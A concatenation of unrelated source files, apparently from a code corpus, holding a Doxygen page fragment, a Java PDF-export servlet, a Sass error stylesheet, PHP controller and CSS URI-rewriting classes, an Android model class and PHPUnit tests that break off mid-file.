<tr class="memdesc:a26d11f66887c48358545d915bc35d8a5"><td class="mdescLeft"> </td><td class="mdescRight">Get the state names. <br/></td></tr>
<tr class="memitem:a387368f3e1252d25946ef6674f3a5bac"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a387368f3e1252d25946ef6674f3a5bac"></a>
virtual std::string </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a387368f3e1252d25946ef6674f3a5bac">model_name</a> () const </td></tr>
<tr class="memdesc:a387368f3e1252d25946ef6674f3a5bac"><td class="mdescLeft"> </td><td class="mdescRight">returns the model name <br/></td></tr>
<tr class="memitem:abe8fc6da1ca28a2d078fef4022162513"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="abe8fc6da1ca28a2d078fef4022162513"></a>
virtual std::string </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#abe8fc6da1ca28a2d078fef4022162513">str</a> () const </td></tr>
<tr class="memdesc:abe8fc6da1ca28a2d078fef4022162513"><td class="mdescLeft"> </td><td class="mdescRight">returns the string representation of the model <br/></td></tr>
</table>
<hr/><a name="details" id="details"></a><h2>Detailed Description</h2>
<div class="textblock"><p>This is a class representing Hidden semi-Markov Models. </p>
<p>Definition at line <a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html#l00045">45</a> of file <a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html">GeneralizedHiddenMarkovModel.hpp</a>.</p>
</div><hr/>The documentation for this class was generated from the following files:<ul>
<li><a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html">GeneralizedHiddenMarkovModel.hpp</a></li>
<li><a class="el" href="../../d1/da2/GeneralizedHiddenMarkovModel_8cpp_source.html">GeneralizedHiddenMarkovModel.cpp</a></li>
</ul>
</div><!-- contents -->
<hr class="footer"/><address class="footer"><small>
Generated on Thu Jun 28 2012 14:40:27 for ToPS by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="../../doxygen.png" alt="doxygen"/>
</a> 1.8.0
</small></address>
</body>
</html>
| Java |
package org.mo.game.editor.face.apl.logic.form;
import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.Element;
import com.lowagie.text.Font;
import com.lowagie.text.HeaderFooter;
import com.lowagie.text.PageSize;
import com.lowagie.text.Paragraph;
import com.lowagie.text.Phrase;
import com.lowagie.text.Rectangle;
import com.lowagie.text.pdf.BaseFont;
import com.lowagie.text.pdf.PdfPTable;
import com.lowagie.text.pdf.PdfWriter;
import java.awt.Color;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import org.mo.com.lang.FFatalError;
import org.mo.com.lang.RString;
import org.mo.com.logging.ILogger;
import org.mo.com.logging.RLogger;
import org.mo.com.validator.RStringValidator;
import org.mo.com.xml.FXmlNode;
import org.mo.com.xml.IXmlObject;
import org.mo.core.aop.face.ALink;
import org.mo.eng.data.common.ISqlContext;
import org.mo.web.core.servlet.common.IWebServletResponse;
import org.mo.web.core.webform.FWebFormDatasetArgs;
import org.mo.web.core.webform.IWebFormConsole;
import org.mo.web.core.webform.IWebFormDatasetConsole;
import org.mo.web.protocol.context.IWebContext;
public class FWebFormPdfServlet
implements
IWebFormPdfServlet{
private static ILogger _logger = RLogger.find(FWebFormPdfServlet.class);
public static byte[] creatPdf(FXmlNode dsNode,
IXmlObject formNode){
// 创建一个Document对象
Rectangle rectPageSize = new Rectangle(PageSize.A4);// 定义A4页面大小
rectPageSize = rectPageSize.rotate();// 实现A4页面的横置
Document document = new Document(rectPageSize, 50, 30, 30, 30);// 4个参数,
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
// 设置了页面的4个边距
try{
// 生成名为 HelloWorld.pdf 的文档
PdfWriter.getInstance(document, buffer);
BaseFont bfChinese;
try{
bfChinese = BaseFont.createFont("STSongStd-Light", "UniGB-UCS2-H", false);
}catch(IOException e){
throw new FFatalError(e);
}
Font fontChinese = new Font(bfChinese, 12, Font.NORMAL, Color.red);
document.open();
// 插入一个段落
//获得模块名称
Paragraph par = new Paragraph(formNode.innerGet("label"), fontChinese);
document.add(par);
int tableColumns = formNode.children().count();
// 定义表格填充内容
PdfPTable datatable = new PdfPTable(tableColumns); // 创建新表.
// int headerwidths[] = { 9, 4, 8, 10, 8, 7 }; // percentage 定义表格头宽度
// datatable.setWidths(headerwidths);
datatable.setWidthPercentage(100);
// 设置表头的高度
datatable.getDefaultCell().setPadding(2);
// 设置表头的粗细线条
datatable.getDefaultCell().setBorderWidth(1);
datatable.getDefaultCell().setGrayFill(0.8f);
datatable.getDefaultCell().setHorizontalAlignment(Element.ALIGN_CENTER);
// 以下是填充表头
for(int i = 0; i < tableColumns; i++){
datatable.addCell(new Phrase(formNode.children().get(i).innerGet("label"), fontChinese));
}
datatable.setHeaderRows(1);
// 结束表格的头部
// 设置页码
HeaderFooter footer = new HeaderFooter(new Phrase("页码:", fontChinese), true);
footer.setBorder(Rectangle.NO_BORDER);
document.setFooter(footer);
// 结束页码的设置
//设置表格颜色参数
int i = 1;
datatable.getDefaultCell().setBorderWidth(1);
for(FXmlNode row : dsNode.nodes()){
if(i % 2 == 1){
// 设置表格颜色
datatable.getDefaultCell().setGrayFill(1.0f);
}
//根据数据列项,依次取出该列所对应的值
for(int x = 0; x < tableColumns; x++){
String columnName = formNode.children().get(x).innerGet("data_name");
datatable.addCell(new Phrase(row.get(columnName), fontChinese));
}
if(i % 2 == 1){
// 设置表格颜色
datatable.getDefaultCell().setGrayFill(0.9f);
}
i++;
}
document.add(datatable);// 加载新表
}catch(DocumentException de){
de.printStackTrace();
System.err.println("document: " + de.getMessage());
}finally{
document.close();
}
return buffer.toByteArray();
}
@ALink
protected IWebFormConsole _webformConsole;
@ALink
IWebFormDatasetConsole _webFormDataConsole;
@Override
public void build(IWebContext context,
ISqlContext sqlContext,
IWebServletResponse response){
String formName = context.parameter("form_name");
RStringValidator.checkEmpty(formName, "form_name");
IXmlObject xform = findForm(formName);
// 查找数据集
FWebFormDatasetArgs args = new FWebFormDatasetArgs(context, sqlContext);
args.setPageSize(-1);
xform.children().get(0).innerGet("label");
args.setForm(xform);
FXmlNode dsNode = _webFormDataConsole.fetchNode(args);
// 生成PDF文件
byte[] bytes = creatPdf(dsNode, xform);
_logger.debug(this, "build", "Make form pdf file. (form={0}, pdf size={1})", xform.name(), bytes.length);
response.write(bytes);
}
public IXmlObject findForm(String formName){
IXmlObject xform = null;
if(RString.isNotEmpty(formName)){
xform = _webformConsole.find(formName);
if(null == xform){
throw new FFatalError("Show form is null. (name={0})", formName);
}
}
return xform;
}
}
| Java |
/*
Syntax error: File to import not found or unreadable: zen.
Load paths:
/Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/frameworks/compass/stylesheets
Compass::SpriteImporter
on line 98 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/_base.scss
from line 12 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars.scss
from line 11 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.scss
Backtrace:
/Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/_base.scss:98
/Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars.scss:12
/Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.scss:11
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/import_node.rb:67:in `import'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/import_node.rb:28:in `imported_file'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/import_node.rb:37:in `css_import?'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:217:in `visit_import'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `map'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `map'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:227:in `visit_import'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:53:in `visit_children'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:53:in `map'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:53:in `visit_children'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:109:in `visit_children'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:121:in `with_environment'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:108:in `visit_children'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:128:in `visit_root'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `send'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/base.rb:37:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:100:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:7:in `send'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/visitors/perform.rb:7:in `visit'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/tree/root_node.rb:20:in `render'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/engine.rb:315:in `_render'
/Library/Ruby/Gems/1.8/gems/sass-3.2.9/lib/sass/../sass/engine.rb:262:in `render'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:146:in `compile'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:132:in `timed'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:145:in `compile'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/logger.rb:46:in `red'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:144:in `compile'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:124:in `compile_if_required'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:109:in `run'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:107:in `each'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:107:in `run'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:132:in `timed'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/compiler.rb:106:in `run'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/commands/update_project.rb:45:in `perform'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/commands/base.rb:18:in `execute'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/commands/project_base.rb:19:in `execute'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/exec/sub_command_ui.rb:43:in `perform!'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/lib/compass/exec/sub_command_ui.rb:15:in `run!'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/bin/compass:30
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/bin/compass:44:in `call'
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/bin/compass:44
/usr/bin/compass:19:in `load'
/usr/bin/compass:19
*/
body:before {
white-space: pre;
font-family: monospace;
content: "Syntax error: File to import not found or unreadable: zen.\A Load paths:\A /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass\A /Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/frameworks/compass/stylesheets\A Compass::SpriteImporter\A on line 98 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/_base.scss\A from line 12 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars.scss\A from line 11 of /Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.scss"; }
| Java |
<?php
# Lifter007: TODO
# Lifter003: TODO
# Lifter010: TODO
/*
* Copyright (C) 2009 - Marcus Lunzenauer <mlunzena@uos.de>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*/
require_once 'studip_controller.php';
abstract class AuthenticatedController extends StudipController {
/**
* Callback function being called before an action is executed. If this
* function does not return FALSE, the action will be called, otherwise
* an error will be generated and processing will be aborted. If this function
* already #rendered or #redirected, further processing of the action is
* withheld.
*
* @param string Name of the action to perform.
* @param array An array of arguments to the action.
*
* @return bool
*/
function before_filter(&$action, &$args) {
parent::before_filter($action, $args);
# open session
page_open(array('sess' => 'Seminar_Session',
'auth' => 'Seminar_Auth',
'perm' => 'Seminar_Perm',
'user' => 'Seminar_User'));
// show login-screen, if authentication is "nobody"
$GLOBALS['auth']->login_if($GLOBALS['auth']->auth['uid'] == 'nobody');
$this->flash = Trails_Flash::instance();
// set up user session
include 'lib/seminar_open.php';
# Set base layout
#
# If your controller needs another layout, overwrite your controller's
# before filter:
#
# class YourController extends AuthenticatedController {
# function before_filter(&$action, &$args) {
# parent::before_filter($action, $args);
# $this->set_layout("your_layout");
# }
# }
#
# or unset layout by sending:
#
# $this->set_layout(NULL)
#
$this->set_layout($GLOBALS['template_factory']->open('layouts/base'));
}
/**
* Callback function being called after an action is executed.
*
* @param string Name of the action to perform.
* @param array An array of arguments to the action.
*
* @return void
*/
function after_filter($action, $args) {
page_close();
}
}
| Java |
/**
*
* Copyright (c) 2009-2016 Freedomotic team http://freedomotic.com
*
* This file is part of Freedomotic
*
* This Program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2, or (at your option) any later version.
*
* This Program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* Freedomotic; see the file COPYING. If not, see
* <http://www.gnu.org/licenses/>.
*/
package com.freedomotic.api;
import com.google.inject.AbstractModule;
import com.google.inject.Singleton;
/**
*
* @author Enrico Nicoletti
*/
public class InjectorApi extends AbstractModule {
@Override
protected void configure() {
bind(API.class).to(APIStandardImpl.class).in(Singleton.class);
}
}
| Java |
<?php
/**
* @package Zen Library
* @subpackage Zen Library
* @author Joomla Bamboo - design@joomlabamboo.com
* @copyright Copyright (c) 2013 Joomla Bamboo. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @version 1.0.2
*/
/*
* Adapted from Minify_CSS_UriRewriter class by Stephen Clay <steve@mrclay.org>
*/
// no direct access
defined('_JEXEC') or die('Restricted access');
class ZenUriRewriter
{
/**
* Defines which class to call as part of callbacks, change this
* if you extend Minify_CSS_UriRewriter
* @var string
*/
protected static $className = 'ZenUriRewriter';
/**
* rewrite() and rewriteRelative() append debugging information here
* @var string
*/
public static $debugText = '';
/**
* Rewrite file relative URIs as root relative in CSS files
*
* @param string $css
*
* @param string $currentDir The directory of the current CSS file.
*
* @param string $docRoot The document root of the web site in which
* the CSS file resides (default = $_SERVER['DOCUMENT_ROOT']).
*
* @param array $symlinks (default = array()) If the CSS file is stored in
* a symlink-ed directory, provide an array of link paths to
* target paths, where the link paths are within the document root. Because
* paths need to be normalized for this to work, use "//" to substitute
* the doc root in the link paths (the array keys). E.g.:
* <code>
* array('//symlink' => '/real/target/path') // unix
* array('//static' => 'D:\\staticStorage') // Windows
* </code>
*
* @return string
*/
public static function rewrite($css, $currentDir, $docRoot = null, $symlinks = array())
{
self::$_docRoot = self::_realpath(
$docRoot ? $docRoot : $_SERVER['DOCUMENT_ROOT']
);
self::$_currentDir = self::_realpath($currentDir);
self::$_symlinks = array();
// normalize symlinks
foreach ($symlinks as $link => $target) {
$link = ($link === '//')
? self::$_docRoot
: str_replace('//', self::$_docRoot . '/', $link);
$link = strtr($link, '/', DIRECTORY_SEPARATOR);
self::$_symlinks[$link] = self::_realpath($target);
}
self::$debugText .= "docRoot : " . self::$_docRoot . "\n"
. "currentDir : " . self::$_currentDir . "\n";
if (self::$_symlinks) {
self::$debugText .= "symlinks : " . var_export(self::$_symlinks, 1) . "\n";
}
self::$debugText .= "\n";
$css = self::_trimUrls($css);
// rewrite
$css = preg_replace_callback('/@import\\s+([\'"])(.*?)[\'"]/'
, array(self::$className, '_processUriCB'), $css);
$css = preg_replace_callback('/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
, array(self::$className, '_processUriCB'), $css);
return $css;
}
/**
* Prepend a path to relative URIs in CSS files
*
* @param string $css
*
* @param string $path The path to prepend.
*
* @return string
*/
public static function prepend($css, $path)
{
self::$_prependPath = $path;
$css = self::_trimUrls($css);
// append
$css = preg_replace_callback('/@import\\s+([\'"])(.*?)[\'"]/'
, array(self::$className, '_processUriCB'), $css);
$css = preg_replace_callback('/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
, array(self::$className, '_processUriCB'), $css);
self::$_prependPath = null;
return $css;
}
/**
* @var string directory of this stylesheet
*/
private static $_currentDir = '';
/**
* @var string DOC_ROOT
*/
private static $_docRoot = '';
/**
* @var array directory replacements to map symlink targets back to their
* source (within the document root) E.g. '/var/www/symlink' => '/var/realpath'
*/
private static $_symlinks = array();
/**
* @var string path to prepend
*/
private static $_prependPath = null;
private static function _trimUrls($css)
{
return preg_replace('/
url\\( # url(
\\s*
([^\\)]+?) # 1 = URI (assuming does not contain ")")
\\s*
\\) #)
/x', 'url($1)', $css);
}
private static function _processUriCB($m)
{
// $m matched either '/@import\\s+([\'"])(.*?)[\'"]/' or '/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
$isImport = ($m[0][0] === '@');
// determine URI and the quote character (if any)
if ($isImport) {
$quoteChar = $m[1];
$uri = $m[2];
} else {
// $m[1] is either quoted or not
$quoteChar = ($m[1][0] === "'" || $m[1][0] === '"')
? $m[1][0]
: '';
$uri = ($quoteChar === '')
? $m[1]
: substr($m[1], 1, strlen($m[1]) - 2);
}
// analyze URI
if ('/' !== $uri[0] // root-relative
&& false === strpos($uri, '//') // protocol (non-data)
&& 0 !== strpos($uri, 'data:') // data protocol
) {
// URI is file-relative: rewrite depending on options
$uri = (self::$_prependPath !== null)
? (self::$_prependPath . $uri)
: self::rewriteRelative($uri, self::$_currentDir, self::$_docRoot, self::$_symlinks);
}
return $isImport
? "@import {$quoteChar}{$uri}{$quoteChar}"
: "url({$quoteChar}{$uri}{$quoteChar})";
}
/**
* Rewrite a file relative URI as root relative
*
* <code>
* Minify_CSS_UriRewriter::rewriteRelative(
* '../img/hello.gif'
* , '/home/user/www/css' // path of CSS file
* , '/home/user/www' // doc root
*);
* // returns '/img/hello.gif'
*
* // example where static files are stored in a symlinked directory
* Minify_CSS_UriRewriter::rewriteRelative(
* 'hello.gif'
* , '/var/staticFiles/theme'
* , '/home/user/www'
* , array('/home/user/www/static' => '/var/staticFiles')
*);
* // returns '/static/theme/hello.gif'
* </code>
*
* @param string $uri file relative URI
*
* @param string $realCurrentDir realpath of the current file's directory.
*
* @param string $realDocRoot realpath of the site document root.
*
* @param array $symlinks (default = array()) If the file is stored in
* a symlink-ed directory, provide an array of link paths to
* real target paths, where the link paths "appear" to be within the document
* root. E.g.:
* <code>
* array('/home/foo/www/not/real/path' => '/real/target/path') // unix
* array('C:\\htdocs\\not\\real' => 'D:\\real\\target\\path') // Windows
* </code>
*
* @return string
*/
public static function rewriteRelative($uri, $realCurrentDir, $realDocRoot, $symlinks = array())
{
// prepend path with current dir separator (OS-independent)
$path = strtr($realCurrentDir, '/', DIRECTORY_SEPARATOR)
. DIRECTORY_SEPARATOR . strtr($uri, '/', DIRECTORY_SEPARATOR);
self::$debugText .= "file-relative URI : {$uri}\n"
. "path prepended : {$path}\n";
// "unresolve" a symlink back to doc root
foreach ($symlinks as $link => $target) {
if (0 === strpos($path, $target)) {
// replace $target with $link
$path = $link . substr($path, strlen($target));
self::$debugText .= "symlink unresolved : {$path}\n";
break;
}
}
// strip doc root
$path = substr($path, strlen($realDocRoot));
self::$debugText .= "docroot stripped : {$path}\n";
// fix to root-relative URI
$uri = strtr($path, '/\\', '//');
// remove /./ and /../ where possible
$uri = str_replace('/./', '/', $uri);
// inspired by patch from Oleg Cherniy
do {
$uri = preg_replace('@/[^/]+/\\.\\./@', '/', $uri, 1, $changed);
} while ($changed);
self::$debugText .= "traversals removed : {$uri}\n\n";
return $uri;
}
/**
* Get realpath with any trailing slash removed. If realpath() fails,
* just remove the trailing slash.
*
* @param string $path
*
* @return mixed path with no trailing slash
*/
protected static function _realpath($path)
{
$realPath = realpath($path);
if ($realPath !== false) {
$path = $realPath;
}
return rtrim($path, '/\\');
}
}
| Java |
@media only screen and (max-width: 1000px){
.subtitle{
font-size: 19.2px;
}
}
@media only screen and (min-width: 600px) and (max-width: 768px){
.title h1{
font-size:47.6px;
}
.title h1{
font-size:46.2px;
}
.content h2{
font-size:32.2px;
}
.subtitle{
font-size: 19.2px;
}
}
@media only screen and (min-width: 480px) and (max-width: 768px){
section.parallax_section_holder{
height: auto !important;
min-height: 400px !important;
}
}
@media only screen and (max-width: 600px){
.title h1{
font-size:34px;
}
.title h1{
font-size:33px;
}
.content h2{
font-size:23px;
}
}
@media only screen and (max-width: 480px){
section.parallax_section_holder{
height: auto !important;
min-height: 400px !important;
}
} | Java |
package com.lonebytesoft.thetaleclient.api.model;
import android.os.Parcel;
import android.os.Parcelable;
import com.lonebytesoft.thetaleclient.api.dictionary.CompanionSpecies;
import com.lonebytesoft.thetaleclient.util.ObjectUtils;
import org.json.JSONException;
import org.json.JSONObject;
/**
* @author Hamster
* @since 17.02.2015
*/
public class CompanionInfo implements Parcelable {
public final CompanionSpecies species;
public final String name;
public final int healthCurrent;
public final int healthMax;
public final int coherence;
public final int experienceCurrent;
public final int experienceForNextLevel;
public CompanionInfo(final JSONObject json) throws JSONException {
species = ObjectUtils.getEnumForCode(CompanionSpecies.class, json.getInt("type"));
name = json.getString("name");
healthCurrent = json.getInt("health");
healthMax = json.getInt("max_health");
coherence = json.getInt("coherence");
experienceCurrent = json.getInt("experience");
experienceForNextLevel = json.getInt("experience_to_level");
}
// parcelable stuff
private CompanionInfo(final Parcel in) {
final int index = in.readInt();
species = index == -1 ? null : CompanionSpecies.values()[index];
name = in.readString();
healthCurrent = in.readInt();
healthMax = in.readInt();
coherence = in.readInt();
experienceCurrent = in.readInt();
experienceForNextLevel = in.readInt();
}
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel out, int flags) {
out.writeInt(species == null ? -1 : species.ordinal());
out.writeString(name);
out.writeInt(healthCurrent);
out.writeInt(healthMax);
out.writeInt(coherence);
out.writeInt(experienceCurrent);
out.writeInt(experienceForNextLevel);
}
public static final Parcelable.Creator<CompanionInfo> CREATOR = new Parcelable.Creator<CompanionInfo>() {
@Override
public CompanionInfo createFromParcel(Parcel source) {
return new CompanionInfo(source);
}
@Override
public CompanionInfo[] newArray(int size) {
return new CompanionInfo[size];
}
};
}
| Java |
<?php
class TestArcadiaCommon extends PHPUnit_Framework_TestCase {
/**
* @covers ArcadiaCommon::__construct
*/
public function test_common_constructor() {
$component = new ArcadiaCommon();
$this->assertTrue( isset( $component->game_nonce_life ) );
}
/**
* @covers ArcadiaCommon::__construct
*/
public function test_common_constructor_nonce_life_set() {
global $ag;
$component = new ArcadiaCommon( $ag_obj = $ag, $nonce_life = 30 );
$this->assertEquals( 30, $component->game_nonce_life );
}
/**
* @covers ArcadiaCommon::get_array_if_set
*/
public function test_get_array_if_set_empty_default() {
$component = new ArcadiaCommon();
$array = array();
$ret_val = $component->get_array_if_set( $array, 'test', -1 );
$this->assertEquals( $ret_val, -1 );
}
/**
* @covers ArcadiaCommon::get_array_if_set
*/
public function test_get_array_if_set_non_array_parameter() {
$component = new ArcadiaCommon();
$array = FALSE;
$ret_val = $component->get_array_if_set( $array, 'test', -1 );
$this->assertEquals( $ret_val, -1 );
}
/**
* @covers ArcadiaCommon::get_array_if_set
*/
public function test_get_array_if_set_correct() {
$component = new ArcadiaCommon();
$k = 'test';
$v = -1;
$array = array( $k => $v );
$ret_val = $component->get_array_if_set( $array, $k, $v );
$this->assertEquals( $ret_val, $v );
}
/**
* @covers ArcadiaCommon::get_bit
*/
public function test_get_bit_zero() {
$component = new ArcadiaCommon();
$val = 0;
$this->assertEquals( FALSE, $component->get_bit( $val, 0 ) );
}
/**
* @covers ArcadiaCommon::get_bit
*/
public function test_get_bit_one() {
$component = new ArcadiaCommon();
$val = 1;
$this->assertEquals( TRUE, $component->get_bit( $val, 0 ) );
}
/**
* @covers ArcadiaCommon::set_bit
*/
public function test_set_bit_zero() {
$component = new ArcadiaCommon();
$this->assertEquals( 1, $component->set_bit( 0, 0 ) );
}
/**
* @covers ArcadiaCommon::set_bit
*/
public function test_set_bit_one() {
$component = new ArcadiaCommon();
$this->assertEquals( 2, $component->set_bit( 0, 1 ) );
}
/**
* @covers ArcadiaCommon::set_bit
*/
public function test_set_bit_two() {
$component = new ArcadiaCommon();
$this->assertEquals( 4, $component->set_bit( 0, 2 ) );
}
/**
* @covers ArcadiaCommon::set_bit
*/
public function test_set_bit_negative() {
$component = new ArcadiaCommon();
$this->assertEquals( 0, $component->set_bit( 0, -1 ) );
}
/**
* @covers ArcadiaCommon::bit_count
*/
public function test_bit_count_zero() {
$component = new ArcadiaCommon();
$this->assertEquals( 0, $component->bit_count( 0 ) );
}
/**
* @covers ArcadiaCommon::bit_count
*/
public function test_bit_count_one() {
$component = new ArcadiaCommon();
$this->assertEquals( 1, $component->bit_count( 1 ) );
}
/**
* @covers ArcadiaCommon::bit_count
*/
public function test_bit_count_ten() {
$component = new ArcadiaCommon();
$this->assertEquals( 10, $component->bit_count( 1023 ) );
}
/**
* @covers ArcadiaCommon::random_string
*/
public function test_random_string_length_zero() {
$component = new ArcadiaCommon();
$n = 0;
$st = $component->random_string( $n );
$this->assertEquals( $n, strlen( $st ) );
}
/**
* @covers ArcadiaCommon::random_string
*/
public function test_random_string_length() {
$component = new ArcadiaCommon();
$n = 10;
$st = $component->random_string( $n );
$this->assertEquals( $n, strlen( $st ) );
}
/**
* @covers ArcadiaCommon::nonce_tick
*/
public function test_nonce_tick_gt_zero() {
$component = new ArcadiaCommon();
$nonce_tick = $component->nonce_tick();
$this->assertGreaterThan( 0, $nonce_tick );
}
/**
* @covers ArcadiaCommon::nonce_verify
*/
public function test_nonce_verify_no_char() {
$component = new ArcadiaCommon();
$result = $component->nonce_verify( '' );
$this->assertFalse( $result );
}
/**
* @covers ArcadiaCommon::nonce_verify
*/
public function test_nonce_verify_char_invalid_nonce() {
global $ag;
$ag->char = array( 'id' => 1 );
$component = new ArcadiaCommon();
$result = $component->nonce_verify( '' );
$ag->char = FALSE;
$this->assertFalse( $result );
}
/**
* @covers ArcadiaCommon::nonce_verify
*/
public function test_nonce_verify_char_valid_nonce() {
global $ag;
$ag->char = array( 'id' => 1 );
$component = new ArcadiaCommon();
$nonce = $component->nonce_create();
$result = $component->nonce_verify( $nonce );
$ag->char = FALSE;
$this->assertTrue( $result );
}
/**
* @covers ArcadiaCommon::nonce_verify
*/
